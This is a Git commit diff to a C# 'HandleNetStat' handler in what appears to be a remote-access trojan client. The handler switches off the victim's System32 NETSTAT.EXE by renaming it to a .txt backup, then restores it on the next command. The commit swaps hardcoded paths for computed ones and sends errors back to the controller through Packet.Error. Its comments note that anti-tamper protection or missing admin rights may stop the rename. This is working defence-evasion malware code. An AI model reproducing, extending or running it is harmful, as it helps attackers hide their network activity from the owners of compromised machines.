Remove hardcoded paths
This commit is contained in:
parent
c4b02e1531
commit
44a51e759c
@ -1,11 +1,16 @@
|
||||
using Client.Helper;
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
|
||||
namespace Client.Handle_Packet
|
||||
{
|
||||
class HandleNetStat
|
||||
public static class HandleNetStat
|
||||
{
|
||||
static bool switcher = false;
|
||||
static readonly string OriginalFile = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Windows), "System32\\NETSTAT.EXE");
|
||||
static readonly string BackupFile = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Windows), "System32\\NETSTAT.Backup.txt");
|
||||
|
||||
public static void RunNetStat()
|
||||
{
|
||||
//light switch logic CopyPasta by MrDevBot
|
||||
@ -15,10 +20,13 @@ namespace Client.Handle_Packet
|
||||
{
|
||||
try
|
||||
{
|
||||
System.IO.File.Move("C:\\Windows\\System32\\NETSTAT.exe", "C:\\Windows\\System32\\NETSTAT.Backup.txt");
|
||||
File.Move(OriginalFile, BackupFile);
|
||||
}
|
||||
catch (Exception ex)//probably AntiTamper protection or Admin Privilages
|
||||
{
|
||||
Debug.WriteLine(ex.Message);
|
||||
Packet.Error(ex.Message);
|
||||
}
|
||||
catch(Exception ex) //probably AntiTamper protection or Admin Privilages
|
||||
{ }
|
||||
|
||||
switcher = true; //sets the switch to on for next click
|
||||
return; //returns to calling function
|
||||
@ -27,10 +35,13 @@ namespace Client.Handle_Packet
|
||||
{
|
||||
try
|
||||
{
|
||||
System.IO.File.Move("C:\\Windows\\System32\\NETSTAT.Backup.txt", "C:\\Windows\\System32\\NETSTAT.EXE");
|
||||
File.Move(BackupFile, OriginalFile);
|
||||
}
|
||||
catch (Exception ex)//probably AntiTamper protection or Admin Privilages
|
||||
{
|
||||
Debug.WriteLine(ex.Message);
|
||||
Packet.Error(ex.Message);
|
||||
}
|
||||
catch (Exception ex) //probably AntiTamper protection or Admin Privilages
|
||||
{ }
|
||||
switcher = false; //sets the switch to off for next click
|
||||
return; //returns to calling function
|
||||
}
|
Loading…
x
Reference in New Issue
Block a user